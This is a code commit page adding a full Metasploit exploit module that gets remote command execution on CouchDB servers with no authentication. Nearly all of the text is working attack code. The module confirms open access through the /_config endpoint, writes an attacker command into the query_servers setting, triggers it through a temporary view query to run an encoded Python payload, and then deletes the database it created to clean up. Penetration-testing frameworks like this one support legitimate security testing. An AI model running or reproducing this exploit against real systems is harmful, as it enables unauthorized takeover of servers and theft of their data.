Move #6900 into unstable
commit
6412c66848
|
@ -0,0 +1,162 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'CouchDB Unauthentication Remote Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a misconfiguration in CouchDB. If CouchDB api
|
||||
without authentication, attackers can execute os commands with
|
||||
the query_servers option in local.ini.
|
||||
},
|
||||
'Author' => [
|
||||
'Nixawk', # original metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://blog.rot13.org/2010/11/triggers-in-couchdb-from-queue-to-external-command-execution.html' ],
|
||||
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ],
|
||||
[ 'URL', 'http://docs.couchdb.org/en/1.6.1/api/server/configuration.html' ]
|
||||
],
|
||||
'Platform' => %w{ python },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' }]
|
||||
],
|
||||
'DisclosureDate' => 'Nov 23 2010',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5984),
|
||||
OptString.new('TARGETURI', [ true, 'The path to a default couchDB api', '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def unauth?
|
||||
uri = normalize_uri(datastore['TARGETURI'], '_config')
|
||||
resp = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => 'GET'
|
||||
)
|
||||
return false unless resp
|
||||
json_data = resp.get_json_document
|
||||
return false if json_data.empty?
|
||||
resp.code == 200 && json_data.key?('couchdb')
|
||||
end
|
||||
|
||||
def config_query_servers?(cmd)
|
||||
uri = normalize_uri(datastore['TARGETURI'], "_config/query_servers/#{@key}")
|
||||
resp = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => 'PUT',
|
||||
'data' => "\"#{cmd}\""
|
||||
)
|
||||
return false unless resp
|
||||
resp.code == 200 && resp.body.include?("\"\"\n")
|
||||
end
|
||||
|
||||
def create_database?
|
||||
uri = normalize_uri(datastore['TARGETURI'], @dbname)
|
||||
resp = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => 'PUT'
|
||||
)
|
||||
return false unless resp
|
||||
json_data = resp.get_json_document
|
||||
return false if json_data.empty?
|
||||
resp.code == 201 && json_data.key?('ok') && json_data['ok']
|
||||
end
|
||||
|
||||
def create_database_key_value?
|
||||
data = "{\"#{@key}\": \"#{@value}\"}"
|
||||
uri = normalize_uri(datastore['TARGETURI'], @dbname, @key)
|
||||
resp = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => 'PUT',
|
||||
'data' => data
|
||||
)
|
||||
return false unless resp
|
||||
json_data = resp.get_json_document
|
||||
return false if json_data.empty?
|
||||
resp.code == 201 && json_data.key?('ok') && json_data['ok']
|
||||
end
|
||||
|
||||
def query_database?
|
||||
uri = normalize_uri(datastore['TARGETURI'], @dbname, '_temp_view?limit=11')
|
||||
data = "{\"language\":\"#{@key}\",\"map\":\"\"}"
|
||||
resp = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'ctype' => 'application/json',
|
||||
'data' => data
|
||||
)
|
||||
return false unless resp
|
||||
json_data = resp.get_json_document
|
||||
return false if json_data.empty?
|
||||
resp.code == 500 && json_data.key?('error')
|
||||
end
|
||||
|
||||
def delete_database?
|
||||
uri = normalize_uri(datastore['TARGETURI'], @dbname)
|
||||
resp = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => 'DELETE'
|
||||
)
|
||||
return false unless resp
|
||||
json_data = resp.get_json_document
|
||||
return false if json_data.empty?
|
||||
resp.code == 200 && json_data.key?('ok') && json_data['ok']
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
@dbname = rand_text_alpha_lower(16)
|
||||
@key = rand_text_alpha_lower(16)
|
||||
@value = rand_text_alpha_lower(16)
|
||||
|
||||
vprint_status("#{peer} - config query_servers to add commands")
|
||||
return unless config_query_servers?(cmd)
|
||||
|
||||
vprint_status("#{peer} - create a databse")
|
||||
return unless create_database?
|
||||
|
||||
vprint_status("#{peer} - create a database key/value pair")
|
||||
return unless create_database_key_value?
|
||||
|
||||
vprint_status("#{peer} - query database to execute command")
|
||||
query_database?
|
||||
|
||||
vprint_status("#{peer} - delete database")
|
||||
delete_database?
|
||||
end
|
||||
|
||||
def check
|
||||
if unauth?
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
return unless unauth?
|
||||
|
||||
case target['Platform']
|
||||
when 'python'
|
||||
print_status("#{peer} - Sending python payload...")
|
||||
execute_command("python -c \\\"#{payload.encoded}\\\"")
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue